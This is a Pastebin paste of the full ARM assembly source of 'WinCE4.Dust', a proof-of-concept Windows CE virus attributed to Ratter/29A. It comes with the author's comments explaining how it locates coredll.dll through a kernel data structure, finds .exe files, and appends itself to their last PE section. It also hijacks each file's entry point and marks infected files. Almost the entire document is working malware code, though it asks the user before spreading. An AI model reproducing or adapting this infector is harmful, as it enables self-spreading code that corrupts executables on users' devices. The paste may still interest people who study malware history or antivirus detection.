Advertisement
FlyFar

Virus.WinCE.Dust.A - Source Code

Jun 20th, 2023
676
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 21.66 KB | Cybersecurity | 0 0
  1.  
  2.  
  3. ** virus_source **
  4.  
  5.   CODE32
  6.  
  7.    EXPORT  WinMainCRTStartup
  8.  
  9.    AREA .text, CODE, ARM
  10.  
  11. virus_start
  12.  
  13. ; r11 - base pointer
  14. virus_code_start   PROC
  15.    stmdb   sp!, {r0 - r12, lr, pc}
  16.    mov    r11, sp
  17.    sub    sp, sp, #56     ; make space on the stack
  18.  
  19.    ; our stack space gets filled the following way
  20.    ;    #-56 - udiv
  21.    ;    #-52 - malloc
  22.    ;    #-48 - free
  23.    ; [r11, #-44] - CreateFileForMappingW
  24.    ;    #-40 - CloseHandle
  25.    ;    #-36 - CreateFileMappingW
  26.    ;    #-32 - MapViewOfFile
  27.    ;    #-28 - UnmapViewOfFile
  28.    ;    #-24 - FindFirstFileW
  29.    ;    #-20 - FindNextFileW
  30.    ;    #-16 - FindClose
  31.    ;    #-12 - MessageBoxW
  32.  
  33.    ;    #- 8 - filehandle
  34.    ;    #- 4 - mapping handle
  35.  
  36.    bl    get_export_section
  37.  
  38.    ; we'll import via ordinals, not function names, because it's
  39.    ; safe - even linker does that
  40.  
  41.    adr   r2, import_ordinals
  42.    mov   r3, sp
  43.    bl    lookup_imports
  44.  
  45.    ;
  46.    bl    ask_user
  47.    beq    jmp_to_host     ; are we allowed to spread?
  48.    ;
  49.  
  50.    mov    r0, #0x23, 28
  51.    mov    lr, pc
  52.    ldr    pc, [r11, #-52]   ; allocate WFD
  53.    mov    r4, r0
  54.  
  55.    cmp    r0, #0
  56.    beq    jmp_to_host
  57.  
  58.    ; in the following code I use functions FindFirstFile/FindNextFile
  59.    ; for finding *.exe files in the current directory. But in this
  60.    ; case I made a big mistake. I didn't realize that WinCE is not
  61.    ; aware of the current directory and thus we need to use absolute
  62.    ; pathnames. That's why this code won't find files in the current
  63.    ; directory, but rather always in root directory. I found this out when I
  64.    ; was performing final tests, but because the aim was to create a
  65.    ; proof-of-concept code and because the infection itself was already
  66.    ; limited by the user's permission, I decided not to correct this
  67.    ; bug
  68.  
  69.    adr    r0, mask
  70.    mov    r1, r4
  71.    mov    lr, pc
  72.    ldr    pc, [r11, #-24]   ; find first file
  73.    cmn    r0, #1
  74.    beq    free_wfd
  75.  
  76.    mov    r5, r0
  77. find_files_iterate
  78.    ldr    r0, [r4, #28]     ; filesize high
  79.    ldr    r1, [r4, #32]     ; filesize low
  80.  
  81.    cmp    r0, #0         ; file too big?
  82.    bne    find_next_file
  83.  
  84.    cmp    r1, #0x1000      ; file smaller than 4096 bytes?
  85.    addgt   r0, r4, #40      ; gimme file name
  86.    blgt   infect_file
  87.  
  88. find_next_file
  89.    mov    r0, r5
  90.    mov    r1, r4
  91.    mov    lr, pc
  92.    ldr    pc, [r11, #-20]    ; find next file
  93.    cmp    r0, #0         ; is there any left?
  94.    bne    find_files_iterate
  95.  
  96.    mov    r0, r5
  97.    mov    lr, pc
  98.    ldr    pc, [r11, #-16]
  99.  
  100. free_wfd
  101.    mov    r0, r4
  102.    mov    lr, pc
  103.    ldr    pc, [r11, #-48]    ; free WFD
  104.    ;
  105.  
  106. jmp_to_host
  107.    adr    r0, host_ep
  108.    ldr    r1, [r0]        ; get host_entry
  109.    ldr    r2, [r11, #56]     ; get pc
  110.    add    r1, r1, r2       ; add displacement
  111.    str    r1, [r11, #56]     ; store it back
  112.  
  113.    mov    sp, r11
  114.    ldmia   sp!, {r0 - r12, lr, pc}
  115.    ENDP
  116.  
  117.    ; we're looking for *.exe files
  118. mask   DCB    "*", 0x0, ".", 0x0, "e", 0x0, "x", 0x0, "e", 0x0, 0x0, 0x0
  119.  
  120.    ; host entry point displacement
  121.    ; in first generation let compiler count it
  122. host_ep
  123.    DCD    host_entry - virus_code_start - 8
  124.  
  125.    ; WinCE is a UNICODE-only platform and thus we'll use the W ending
  126.    ; for api names (there are no ANSI versions of these)
  127.  
  128. import_ordinals
  129.    DCW    2008       ; udiv
  130.    DCW    1041       ; malloc
  131.    DCW    1018       ; free
  132.    DCW    1167       ; CreateFileForMappingW
  133.    DCW    553        ; CloseHandle
  134.    DCW    548        ; CreateFileMappingW
  135.    DCW    549        ; MapViewOfFile
  136.    DCW    550        ; UnmapViewOfFile
  137.    DCW    167        ; FindFirstFileW
  138.    DCW    181        ; FindNextFile
  139.    DCW    180        ; FindClose
  140.    DCW    858        ; MessageBoxW
  141.  
  142.    DCD    0x0
  143.  
  144.    ; basic wide string compare
  145. wstrcmp   PROC
  146. wstrcmp_iterate
  147.    ldrh    r2, [r0], #2
  148.    ldrh    r3, [r1], #2
  149.  
  150.    cmp    r2, #0
  151.    cmpeq   r3, #0
  152.    moveq   pc, lr
  153.  
  154.    cmp    r2, r3
  155.    beq    wstrcmp_iterate
  156.  
  157.    mov    pc, lr
  158.    ENDP
  159.  
  160.    ; on theWin32 platform, almost all important functions were located in the
  161.    ; kernel32.dll library (and if they weren't, the LoadLibrary/GetProcAddresss pair
  162.    ; was). The first infectors had a hardcoded imagebase of this dll and
  163.    ; later they imported needed functions by hand from it. This
  164.    ; turned out to be incompatible because different Windows versions might
  165.    ; have different imagebases for kernel32. That's why more or less
  166.    ; sophisticated methods were found that allowed coding in a
  167.    ; compatible way. One of these methods is scanning memory for known values
  168.    ; located in PE file header ("MZ") if the address inside the module is
  169.    ; given. Because the function inside kernel32 calls the EntryPoint of
  170.    ; every Win32 process, we've got this address. Then comparing the word
  171.    ; on and aligned address (and decrementing it) against known values is
  172.    ; enough to locate the imagebase. If this routine is even covered
  173.    ; with SEH (Structured Exception Handling) everything is safe.
  174.  
  175.    ; I wanted to use this method on WinCE too, but I hit the wall.
  176.    ; Probably to save memory space, there are no headers
  177.    ; before the first section of the loaded module. There is thus no
  178.    ; "MZ" value and scanning cannot be used even we have the address
  179.    ; inside coredll.dll (lr registr on our entrypoint). Moreover, we
  180.    ; cannot use SEH either, because SEH handlers get installed with
  181.    ; the help of a special directory (the exception directory) in the PE file and
  182.    ; some data before the function starts - this information would have
  183.    ; to be added while infecting the victim (the exception directory
  184.    ; would have to be altered) which is of course not impossible -- just
  185.    ; a little bit impractical to implement in our basic virus.
  186.  
  187.    ; That's why I was forced to use a different approach. I looked
  188.    ; through the Windows CE 3.0 source code (shared source,
  189.    ; downloadable from Microsoft) and tried to find out how the loader
  190.    ; performs its task. The Loader needs the pointer to the module's export
  191.    ; section and its imagebase to be able to import from it. The result was a
  192.    ; KDataStruct at a hardcoded address accessible from user mode (why Microsoft
  193.    ; chose to open this loophole, I don't know)
  194.    ; and mainly it's item aInfo[KINX_MODULES] which is a pointer to a
  195.    ; list of Module structures. There we can find all needed values
  196.    ; (name of the module, imagebase and export section RVA). In the
  197.    ; code that follows I go through this one-way list and look for
  198.    ; structure describing the coredll.dll module. From this structure I
  199.    ; get the imagebase and export section RVA (Relative Virtual Address).
  200.  
  201.    ; what sounds relatively easy was in the end more work than I
  202.    ; expected. The problem was to get the offsets in the Module
  203.    ; structure. The source code and corresponding headers I had were for
  204.    ; Windows CE 3.0, but I was writing for Windows CE 4.2 (Windows Mobile 2003),
  205.    ; where the structure is different. I worked it out using the following
  206.    ; sequence:
  207.    ; I was able to get the imagebase offset using the trial-and-error
  208.    ; method - I used the debugger and tried values inside the
  209.    ; structure that looked like valid pointers. If there was something
  210.    ; interesting, I did some memory sniffing to realize where I was.
  211.    ; The export section pointer was more difficult. There is no real
  212.    ; pointer, just the RVA instead. Adding the imagebase to RVA gives us the
  213.    ; pointer. That's why I found coredll.dll in memory - namely the
  214.    ; list of function names in export section that the library exports.
  215.    ; This list is just a series of ASCIIZ names (you can see this list
  216.    ; when opening the dll in your favourite hex editor). At the
  217.    ; beginning of this list there must be a dll name (in this case
  218.    ; coredll.dll) to which a RVA in the export section header
  219.    ; points. Substracting the imagebase from the address where the dll
  220.    ; name starts gave me an RVA of the dll name. I did a simple byte
  221.    ; search for the byte sequence that together made this RVA value. This
  222.    ; showed me where the (Export Directory Table).Name Rva is.
  223.    ; Because this is a known offset within a known structure (which is
  224.    ; in the beginning of export section), I was able to get
  225.    ; the export section pointer this way. I again substracted the imagebase to
  226.    ; get the export section RVA. I looked up this value in the coredll's
  227.    ; Module structure, which finally gave me the export section RVA
  228.    ; offset.
  229.  
  230.    ; this works on Pocket PC 2003; it works on
  231.    ; my wince 4.20.0 (build 13252).
  232.    ; On different versions the structure offsets might be different :-/
  233.  
  234. ; output:
  235. ;  r0 - coredll base addr
  236. ;  r1 - export section addr
  237. get_export_section   PROC
  238.    stmdb   sp!, {r4 - r9, lr}
  239.  
  240.    ldr    r4, =0xffffc800   ; KDataStruct
  241.    ldr    r5, =0x324     ; aInfo[KINX_MODULES]
  242.  
  243.    add    r5, r4, r5
  244.    ldr    r5, [r5]
  245.  
  246.    ; r5 now points to first module
  247.  
  248.    mov    r6, r5
  249.    mov    r7, #0
  250.  
  251. iterate
  252.    ldr    r0, [r6, #8]     ; get dll name
  253.    adr    r1, coredll
  254.    bl    wstrcmp        ; compare with coredll.dll
  255.  
  256.    ldreq   r7, [r6, #0x7c]    ; get dll base
  257.    ldreq   r8, [r6, #0x8c]    ; get export section rva
  258.  
  259.    add    r9, r7, r8
  260.    beq    got_coredllbase    ; is it what we're looking for?
  261.  
  262.    ldr    r6, [r6, #4]
  263.    cmp    r6, #0
  264.    cmpne   r6, r5
  265.    bne    iterate        ; nope, go on
  266.  
  267. got_coredllbase
  268.    mov    r0, r7
  269.    add    r1, r8, r7      ; yep, we've got imagebase
  270.                    ; and export section pointer
  271.  
  272.    ldmia   sp!, {r4 - r9, pc}
  273.    ENDP
  274.  
  275. coredll   DCB    "c", 0x0, "o", 0x0, "r", 0x0, "e", 0x0, "d", 0x0, "l", 0x0, "l", 0x0
  276.       DCB    ".", 0x0, "d", 0x0, "l", 0x0, "l", 0x0, 0x0, 0x0
  277.  
  278. ; r0 - coredll base addr
  279. ; r1 - export section addr
  280. ; r2 - import ordinals array
  281. ; r3 - where to store function adrs
  282. lookup_imports   PROC
  283.    stmdb   sp!, {r4 - r6, lr}
  284.  
  285.    ldr    r4, [r1, #0x10]    ; gimme ordinal base
  286.    ldr    r5, [r1, #0x1c]    ; gimme Export Address Table
  287.    add    r5, r5, r0
  288.  
  289. lookup_imports_iterate
  290.    ldrh   r6, [r2], #2     ; gimme ordinal
  291.    cmp    r6, #0        ; last value?
  292.  
  293.    subne   r6, r6, r4      ; substract ordinal base
  294.    ldrne   r6, [r5, r6, LSL #2] ; gimme export RVA
  295.    addne   r6, r6, r0      ; add imagebase
  296.    strne   r6, [r3], #4     ; store function address
  297.    bne    lookup_imports_iterate
  298.  
  299.    ldmia    sp!, {r4 - r6, pc}
  300.    ENDP
  301.  
  302. ; r0 - filename
  303. ; r1 - filesize
  304. infect_file   PROC
  305.    stmdb   sp!, {r0, r1, r4, r5, lr}
  306.  
  307.    mov    r4, r1
  308.    mov    r8, r0
  309.  
  310.    bl    open_file       ; first open the file for mapping
  311.    cmn    r0, #1
  312.    beq    infect_file_end
  313.    str    r0, [r11, #-8]    ; store the handle
  314.  
  315.    mov    r0, r4        ; now create the mapping with
  316.                    ; maximum size == filesize
  317.    bl    create_mapping
  318.    cmp    r0, #0
  319.    beq    infect_file_end_close_file
  320.    str    r0, [r11, #-4]    ; store the handle
  321.  
  322.    mov    r0, r4
  323.    bl    map_file       ; map the whole file
  324.    cmp    r0, #0
  325.    beq    infect_file_end_close_mapping
  326.    mov    r5, r0
  327.  
  328.    bl    check_header     ; is it file that we can infect?
  329.    bne    infect_file_end_unmap_view
  330.  
  331.    ldr    r0, [r2, #0x4c]    ; check the reserved field in
  332.                    ; optional header against
  333.    ldr    r1, =0x72617461    ; rata
  334.    cmp    r0, r1        ; already infected?
  335.    beq    infect_file_end_unmap_view
  336.  
  337.    ldr    r1, [r2, #0x3c]    ; gimme filealignment
  338.    adr    r0, virus_start
  339.    adr    r2, virus_end     ; compute virus size
  340.    sub    r0, r2, r0
  341.    mov    r7, r0        ; r7 now holds virus_size
  342.    add    r0, r0, r4
  343.    bl    _align_        ; add it to filesize and
  344.    mov    r6, r0        ; align it to filealignment
  345.                    ; r6 holds the new filesize
  346.  
  347.    mov    r0, r5
  348.    mov    lr, pc
  349.    ldr    pc, [r11, #-28]    ; UnmapViewOfFile
  350.  
  351.    ldr    r0, [r11, #-4]
  352.    mov    lr, pc
  353.    ldr    pc, [r11, #-40]    ; close mapping handle
  354.  
  355.    ;
  356.    mov    r0, r8
  357.    bl    open_file       ; reopen the file because via
  358.                    ; closing the mapping handle file
  359.                    ; handle was closed too
  360.    cmn    r0, #1
  361.    beq    infect_file_end
  362.    str    r0, [r11, #-8]
  363.  
  364.    mov    r0, r6        ; create mapping again with the
  365.    bl    create_mapping    ; new filesize (with virus appended)
  366.  
  367.    cmp    r0, #0
  368.    beq    infect_file_end_close_file
  369.    str    r0, [r11, #-4]
  370.  
  371.    mov    r0, r6
  372.    bl    map_file       ; map it
  373.    cmp    r0, #0
  374.    beq    infect_file_end_close_mapping
  375.    mov    r5, r0
  376.    ;
  377.  
  378.    ; r5 - mapping base
  379.    ; r7 - virus_size
  380.  
  381.    ldr    r4, [r5, #0x3c]    ; get PE signature offset
  382.    add    r4, r4, r5      ; add the base
  383.  
  384.    ldrh   r1, [r4, #6]     ; get NumberOfSections
  385.    sub    r1, r1, #1      ; we want the last section header
  386.                    ; so dec
  387.    mov    r2, #0x28       ; multiply with section header size
  388.    mul    r0, r1, r2
  389.  
  390.    add    r0, r0, r4      ; add optional header start to displacement
  391.    add    r0, r0, #0x78     ; add optional header size
  392.  
  393.    ldr    r1, [r4, #0x74]    ; get number of data directories
  394.    mov    r1, r1, LSL #3    ; multiply with sizeof(data_directory)
  395.    add    r0, r0, r1      ; add it because section headers
  396.                    ; start after the optional header
  397.                    ; (including data directories)
  398.  
  399.    ldr    r6, [r4, #0x28]    ; gimme entrypoint rva
  400.  
  401.    ldr    r1, [r0, #0x10]    ; get last section's size of rawdata
  402.    ldr    r2, [r0, #0x14]    ; and pointer to rawdata
  403.    mov    r3, r1
  404.    add    r1, r1, r2      ; compute pointer to the first
  405.                    ; byte available for us in the
  406.                    ; last section
  407.                    ; (pointer to rawdata + sizeof rawdata)
  408.    mov    r9, r1        ; r9 now holds the pointer
  409.  
  410.    ldr    r8, [r0, #0xc]    ; get RVA of section start
  411.    add    r3, r3, r8      ; add sizeof rawdata
  412.    str    r3, [r4, #0x28]    ; set entrypoint
  413.  
  414.    sub    r6, r6, r3      ; now compute the displacement so that
  415.                    ; we can later jump back to the host
  416.    sub    r6, r6, #8      ; sub 8 because pc points to
  417.                    ; fetched instruction (viz LTORG)
  418.  
  419.    mov    r10, r0
  420.    ldr    r0, [r10, #0x10]   ; get size of raw data again
  421.    add    r0, r0, r7      ; add virus size
  422.    ldr    r1, [r4, #0x3c]
  423.    bl    _align_        ; and align
  424.  
  425.    str    r0, [r10, #0x10]   ; store new size of rawdata
  426.    str    r0, [r10, #0x8]    ; store new virtual size
  427.  
  428.    ldr    r1, [r10, #0xc]    ; get virtual address of last section
  429.    add    r0, r0, r1      ; add size so get whole image size
  430.    str    r0, [r4, #0x50]    ; and store it
  431.  
  432.    ldr    r0, =0x60000020    ; IMAGE_SCN_CNT_CODE | MAGE_SCN_MEM_EXECUTE |
  433.                    ; IMAGE_SCN_MEM_READ
  434.    ldr    r1, [r10, #0x24]   ; get old section flags
  435.    orr    r0, r1, r0      ; or it with our needed ones
  436.    str    r0, [r10, #0x24]   ; store new flags
  437.  
  438.    ldr    r0, =0x72617461
  439.    str    r0, [r4, #0x4c]    ; store our infection mark
  440.  
  441.    add    r1, r9, r5      ; now we'll copy virus body
  442.    mov    r9, r1        ; to space prepared in last section
  443.    adr    r0, virus_start
  444.    mov    r2, r7
  445.    bl    simple_memcpy
  446.  
  447.    adr    r0, host_ep      ; compute number of bytes between
  448.                    ; virus start and host ep
  449.    adr    r1, virus_start
  450.    sub    r0, r0, r1      ; because we'll store new host_ep
  451.    str    r6, [r0, r9]     ; in the copied virus body
  452.  
  453. infect_file_end_unmap_view
  454.    mov    r0, r5
  455.    mov    lr, pc        ; unmap the view
  456.    ldr    pc, [r11, #-28]
  457. infect_file_end_close_mapping
  458.    ldr    r0, [r11, #-4]
  459.    mov    lr, pc        ; close the mapping
  460.    ldr    pc, [r11, #-40]
  461. infect_file_end_close_file
  462.    ldr    r0, [r11, #-8]
  463.    mov    lr, pc        ; close file handle
  464.    ldr    pc, [r11, #-40]
  465. infect_file_end
  466.    ldmia   sp!, {r0, r1, r4, r5, pc}   ; and return
  467.    ENDP
  468.  
  469.    ; a little reminiscence of my beloved book - Greg Egan's Permutation City
  470.    DCB    "This code arose from the dust of Permutation City"
  471.    ALIGN    4
  472.  
  473.  
  474.    ; this function checks whether the file we want to infect is
  475.    ; suitable
  476. check_header  PROC
  477.    ldrh   r0, [r5]
  478.    ldr    r1, =0x5a4d      ; MZ?
  479.    cmp    r0, r1
  480.    bne    infect_file_end_close_mapping
  481.  
  482.    ldr    r2, [r5, #0x3c]
  483.    add    r2, r2, r5
  484.  
  485.    ldrh   r0, [r2]
  486.    ldr    r1, =0x4550      ; Signature == PE?
  487.    cmp    r0, r1
  488.    bne    check_header_end
  489.  
  490.    ldrh   r0, [r2, #4]
  491.    ldr    r1, =0x1c0      ; Machine == ARM?
  492.    cmp    r0, r1
  493.    bne    check_header_end
  494.  
  495.    ldrh   r0, [r2, #0x5C]    ; IMAGE_SUBSYSTEM_WINDOWS_CE_GUI ?
  496.    cmp    r0, #9
  497.    bne    check_header_end
  498.  
  499.    ldrh   r0, [r2, #0x40]
  500.    cmp    r0, #4        ; windows ce 4?
  501.  
  502. check_header_end
  503.    mov    pc, lr
  504.    ENDP
  505.  
  506. ; r0 - file
  507. open_file   PROC
  508.    str    lr, [sp, #-4]!
  509.  
  510.    sub    sp, sp, #0xc
  511.    mov    r1, #3
  512.    str    r1, [sp]       ; OPEN_EXISTING
  513.    mov    r3, #0
  514.    mov    r2, #0
  515.    str    r3, [sp, #8]
  516.    str    r3, [sp, #4]
  517.    mov    r1, #3, 2       ; GENERIC_READ | GENERIC_WRITE
  518.    mov    lr, pc
  519.    ldr    pc, [r11, #-44]    ; call CreateFileForMappingW to
  520.                    ; get the handle suitable for
  521.                    ; CreateFileMapping API
  522.                    ; (on Win32 calling CreateFile is enough)
  523.    add    sp, sp, #0xc
  524.  
  525.    ldr    pc, [sp], #4
  526.    ENDP
  527.  
  528. ; r0 - max size low
  529. create_mapping   PROC
  530.    str    lr, [sp, #-4]!
  531.  
  532.    mov    r1, #0
  533.    sub    sp, sp, #8
  534.    str    r0, [sp]
  535.    str    r1, [sp, #4]
  536.    mov    r2, #4        ; PAGE_READWRITE
  537.    mov    r3, #0
  538.    ldr    r0, [r11, #-8]
  539.    mov    lr, pc
  540.    ldr    pc, [r11, #-36]
  541.    add    sp, sp, #8
  542.  
  543.    ldr    pc, [sp], #4
  544.    ENDP
  545.  
  546. ; r0 - bytes to map
  547. map_file   PROC
  548.    str    lr, [sp, #-4]!
  549.  
  550.    sub    sp, sp, #4
  551.    str    r0, [sp]
  552.    ldr    r0, [r11, #-4]
  553.    mov    r1, #6        ; FILE_MAP_READ or FILE_MAP_WRITE
  554.    mov    r2, #0
  555.    mov    r3, #0
  556.    mov    lr, pc
  557.    ldr    pc, [r11, #-32]
  558.    add    sp, sp, #4
  559.  
  560.    ldr    pc, [sp], #4
  561.    ENDP
  562.  
  563.  
  564.    ; not optimized (thus simple) mem copy
  565. ; r0 - src
  566. ; r1 - dst
  567. ; r2 - how much
  568. simple_memcpy   PROC
  569.    ldr    r3, [r0], #4
  570.    str    r3, [r1], #4
  571.    subs   r2, r2, #4
  572.    bne    simple_memcpy
  573.    mov    pc, lr
  574.    ENDP
  575.  
  576.  
  577.    ; (r1 - (r1 % r0)) + r0
  578. ; r0 - number to align
  579. ; r1 - align to what
  580. _align_    PROC
  581.    stmdb   sp!, {r4, r5, lr}
  582.  
  583.    mov    r4, r0
  584.    mov    r5, r1
  585.  
  586.    mov    r0, r1
  587.    mov    r1, r4
  588.  
  589.    ; ARM ISA doesn't have the div instruction so we'll have to call
  590.    ; the coredll's div implementation
  591.  
  592.    mov    lr, pc
  593.    ldr    pc, [r11, #-56]    ; udiv
  594.  
  595.    sub    r1, r5, r1
  596.    add    r0, r4, r1
  597.  
  598.    ldmia   sp!, {r4, r5, pc}
  599.    ENDP
  600.  
  601.    ; this function will ask user (via a MessageBox) whether we're
  602.    ; allowed to spread or not
  603. ask_user   PROC
  604.    str    lr, [sp, #-4]!
  605.  
  606.    mov    r0, #0
  607.    adr    r1, text
  608.    adr    r2, caption
  609.    mov    r3, #4
  610.  
  611.    mov    lr, pc
  612.    ldr    pc, [r11, #-12]
  613.  
  614.    cmp    r0, #7
  615.  
  616.    ldr    pc, [sp], #4
  617.    ENDP
  618.  
  619.    ; notice that the strings are encoded in UNICODE
  620.  
  621.    ; WinCE4.Dust by Ratter/29A
  622. caption DCB    "W", 0x0, "i", 0x0, "n", 0x0, "C", 0x0, "E", 0x0, "4", 0x0
  623.      DCB    ".", 0x0, "D", 0x0, "u", 0x0, "s", 0x0, "t", 0x0, " ", 0x0
  624.      DCB    "b", 0x0, "y", 0x0, " ", 0x0, "R", 0x0, "a", 0x0, "t", 0x0
  625.      DCB    "t", 0x0, "e", 0x0, "r", 0x0, "/", 0x0, "2", 0x0, "9", 0x0
  626.      DCB    "A", 0x0, 0x0, 0x0
  627.  
  628.      ALIGN    4
  629.  
  630.    ; Dear User, am I allowed to spread?
  631.  
  632. text   DCB    "D", 0x0, "e", 0x0, "a", 0x0, "r", 0x0, " ", 0x0, "U", 0x0
  633.      DCB    "s", 0x0, "e", 0x0, "r", 0x0, ",", 0x0, " ", 0x0, "a", 0x0
  634.      DCB    "m", 0x0, " ", 0x0, "I", 0x0, " ", 0x0, "a", 0x0, "l", 0x0
  635.      DCB    "l", 0x0, "o", 0x0, "w", 0x0, "e", 0x0, "d", 0x0, " ", 0x0
  636.      DCB    "t", 0x0, "o", 0x0, " ", 0x0, "s", 0x0, "p", 0x0, "r", 0x0
  637.      DCB    "e", 0x0, "a", 0x0, "d", 0x0, "?", 0x0, 0x0, 0x0
  638.      ALIGN    4
  639.  
  640.      ; Just a little greeting to AV firms :-)
  641.  
  642.      DCB    "This is proof of concept code. Also, i wanted to make avers happy."
  643.      DCB    "The situation when Pocket PC antiviruses detect only EICAR file had"
  644.      DCB    " to end ..."
  645.      ALIGN    4
  646.  
  647.    ; LTORG is a very important pseudo instruction, which places the
  648.    ; literal pool "at" the place of its presence. Because the ARM
  649.    ; instruction length is hardcoded to 32 bits, it is not possible in
  650.    ; one instruction to load the whole 32bit range into a register (there
  651.    ; have to be bits to specify the opcode). That's why the literal
  652.    ; pool was introduced, which in fact is just an array of 32bit values
  653.    ; that are not possible to load. This data structure is later
  654.    ; accessed with the aid of the PC (program counter) register that points
  655.    ; to the currently executed instruction + 8 (+ 8 because ARM processors
  656.    ; implement a 3 phase pipeline: execute, decode, fetch and the PC
  657.    ; points not at the instruction being executed but at the instruction being
  658.    ; fetched). An offset is added to PC so that the final pointer
  659.    ; points to the right value in the literal pool.
  660.  
  661.    ; the pseudo instruction ldr rX, =<value> while compiling gets
  662.    ; transformed to a mov instruction (if the value is in the range of
  663.    ; valid values) or it allocates its place in the literal pool and becomes a
  664.    ; ldr, rX, [pc, #<offset>]
  665.    ; similarly adr and adrl instructions serve to loading addresses
  666.    ; to register.
  667.  
  668.    ; this approach's advantage is that with minimal effort we can get
  669.    ; position independent code from the compiler which allows our
  670.    ; code to run wherever in the address space the loader will load us.
  671.  
  672.    LTORG
  673. virus_end
  674.  
  675.    ; the code after virus_end doesn't get copied to victims
  676.  
  677. WinMainCRTStartup PROC
  678.    b     virus_code_start
  679.    ENDP
  680.  
  681.    ; first generation entry point
  682. host_entry
  683.    mvn    r0, #0
  684.    mov    pc, lr
  685.    END
  686. ** virus_source_end **
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement